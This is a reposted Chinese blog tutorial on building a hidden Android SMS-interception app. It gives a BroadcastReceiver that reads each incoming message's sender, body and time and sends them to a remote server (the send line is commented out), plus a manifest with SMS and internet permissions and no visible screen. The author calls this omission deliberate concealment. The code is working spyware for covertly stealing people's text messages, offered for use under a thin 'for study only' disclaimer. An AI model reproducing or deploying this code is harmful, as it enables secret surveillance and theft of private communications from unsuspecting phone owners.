android短信监听工具

来源:互联网 发布:淘宝助手mac版 编辑:程序博客网 时间:2024/05/16 18:32

转自:http://blog.csdn.net/dinglang_2009/article/details/6862691

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。

[java] view plaincopy
  1. package cn.itcast.sms;  
  2.   
  3. import java.sql.Date;  
  4. import java.text.SimpleDateFormat;  
  5. import java.util.HashMap;  
  6. import java.util.Map;  
  7.   
  8. import cn.itcast.utils.SocketHttpRequester;  
  9.   
  10. import android.content.BroadcastReceiver;  
  11. import android.content.Context;  
  12. import android.content.Intent;  
  13. import android.telephony.SmsMessage;  
  14. import android.util.Log;  
  15.   
  16. public class SMSBroadcastReceiver extends BroadcastReceiver {  
  17.     //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听  
  18.     @Override  
  19.     public void onReceive(Context context, Intent intent) {  
  20.         Object[] pduses = (Object[])intent.getExtras().get("pdus");  
  21.         for(Object pdus : pduses){  
  22.             byte[] pdusmessage = (byte[]) pdus;//没一条短信  
  23.             SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);  
  24.             String mobile = sms.getOriginatingAddress();//得到电话号码  
  25.             String content = sms.getMessageBody();//得到短信的内容  
  26.             Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间  
  27.             //2009-10-12 12:21:23  
  28.             SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式  
  29.             String sendtime = format.format(date);  
  30.             Map<String, String> params = new HashMap<String, String>();  
  31.             params.put("method""getSMS");//将与短信相关的内容全部都放到集合里  
  32.             params.put("mobile", mobile);  
  33.             params.put("content", content);  
  34.             params.put("sendtime", sendtime);  
  35.             try {//利用socket向服务器发送窃听到的内容  
  36.                 //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");  
  37.             } catch (Exception e) {  
  38.                 Log.e("SMSBroadcastReceiver", e.toString());  
  39.             }  
  40.         }  
  41.     }  
  42.   
  43. }  

注意修改Android项目文件的配置

[html] view plaincopy
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.       package="cn.itcast.sms"  
  4.       android:versionCode="1"  
  5.       android:versionName="1.0">  
  6.     <application android:icon="@drawable/icon" android:label="@string/app_name">  
  7.         <receiver android:name=".SMSBroadcastReceiver">  
  8.             <intent-filter>  
  9.                 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  10.             </intent-filter>  
  11.         </receiver>  
  12.   
  13.     </application>  
  14.     <uses-sdk android:minSdkVersion="8" />  
  15. <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->  
  16.  <!-- 访问网络的权限 -->  
  17. <uses-permission android:name="android.permission.INTERNET"/>  
  18. </manifest>   

最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;



当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

  我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:

[java] view plaincopy
  1. //生成广播处理    
  2. smsBroadCastReceiver = new SmsBroadCastReceiver();    
  3. //实例化过滤器并设置要过滤的广播    
  4. IntentFilter intentFilter = new IntentFilter();    
  5. intentFilter.addAction(SMS_ACTION);    
  6.     
  7. //注册广播    
  8. BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);    
原创粉丝点击